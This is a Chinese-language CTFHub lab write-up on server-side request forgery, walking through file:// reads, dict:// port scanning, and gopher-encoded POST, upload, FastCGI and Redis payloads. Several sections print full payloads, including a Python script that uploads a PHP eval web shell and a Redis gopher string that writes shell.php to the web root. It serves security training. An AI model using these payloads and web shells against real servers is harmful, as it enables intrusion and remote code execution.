[TOC]

内网访问

image-20250201212939708

image-20250201212949560

根据提示和url处可知,要访问本地的flag.php文件

使用http协议

1
http://127.0.0.1/flag.php

ctfhub{3a8065a8c91c9f5c801ea8f8}

伪协议读取文件

image-20250201213457815

根据提示可知,文件是在web目录下,使用伪协议

web目录一般是/var/www/html

1
file:///var/www/html/flag.php

ctfhub{f43a8521d7cdb6dec67225e6}

端口扫描

根据提示知道,端口范围是8000-9000

使用dict协议,然后抓包爆破端口

image-20250201215431613

image-20250201215419883

可以看到端口应该是8137,使用http访问

1
url=http://127.0.0.1:8137

ctfhub{f0f29c3e738e6fc924ca1e67}

POST请求

image-20250201215809265

先直接访问flag.php

1
url=127.0.0.1/flag.php

得到一个输入框,查看源码,发现key

image-20250201220821294

提交key出现页面

image-20250201220842912

我们尝试通过file协议读取index.php 和flag.php的页面源码

1
2
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

index.php

image-20250201221128207

flag.php

image-20250201221305884

尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求,需要使用index.php页面的curl功能

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=3f55fc548764ed871bc4bb938dabe6a8

​ 在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。

​ 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。所以我们需要对构造的请求包进行两次 URL编码:

注意:

在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

得到:

1
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D3f55fc548764ed871bc4bb938dabe6a8

构造pyload:

1
gopher://127.0.0.1: 80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D3f55fc548764ed871bc4bb938dabe6a8

ctfhub{4152d6eba9451e8053251e67}

上传文件

首先我们访问?url=127.0.0.1/flag.php

image-20250227164203188

发现没有提交按钮,于是在源代码处加上

1
<input type="submit" name="submit">

选择一个文件上传,抓包看看。

image-20250227164437117

利用这个构造gopher伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib.parse

payload = \
"""POST /flag.php HTTP/1.1
Host: challenge-1faf7d21a5af4ee7.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=---------------------------152354508639793416363527303265
Content-Length: 401

-----------------------------152354508639793416363527303265
Content-Disposition: form-data; name="file"; filename="yjh-attack.php"
Content-Type: application/octet-stream

<?php
@eval($_POST['attack']);
?>

-----------------------------152354508639793416363527303265
Content-Disposition: form-data; name="submit"

鎻愪氦鏌ヨ
-----------------------------152354508639793416363527303265--
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
# print(tmp)
new = tmp.replace('%0A','%0D%0A')
# print(new)
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
// gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-1faf7d21a5af4ee7.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------152354508639793416363527303265%250D%250AContent-Length%253A%2520401%250D%250A%250D%250A-----------------------------152354508639793416363527303265%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522yjh-attack.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250A%2540eval%2528%2524_POST%255B%2527attack%2527%255D%2529%253B%250D%250A%253F%253E%250D%250A%250D%250A-----------------------------152354508639793416363527303265%250D%250AContent-Disposition%253A%2520form-data%253B%25%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E383%%2583%25A8%25EE%2587%2597%250D%250A-----------------------------152354508639793416363527303265--%250D%250A

得到payload,拿到flag

image-20250227164842181

ctfhub{3a951096422af20fc3056090}

FastCGI协议

相关文章:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客

使用gopherus工具,运行

1
python2 gopherus.py --exploit fastcgi

先在index.php中运行ls,再运行cat /f*。

image-20250227171401677

image-20250227171422944

image-20250227171443063

image-20250227171457845

注意传参的时候要再进行一次url编码。

ctfhub{26e2a58aaf3e0b6e304358ba}

Redis协议

image-20250315150541576

根据提示,需要使用Redis协议,先访问redis://127.0.0.1:6379,什么也没有,于是上网查资料

资料网站: SSRF漏洞之Redis利用篇【三】 - FreeBuf网络安全行业门户

使用gopherus工具构造redis的一句话木马payload:

image-20250315151017958

1
2
3
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27attack%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0A
再进行一次url编码:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527attack%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

进行url传参,然后会显示504

image-20250315151156841

这个时候我们访问一下/shell.php,发现有这个文件

image-20250315151243148

于是直接用蚁剑连接即可,找到flag文件。

image-20250315150801053

ctfhub{9339dea162bf339d70a654ef}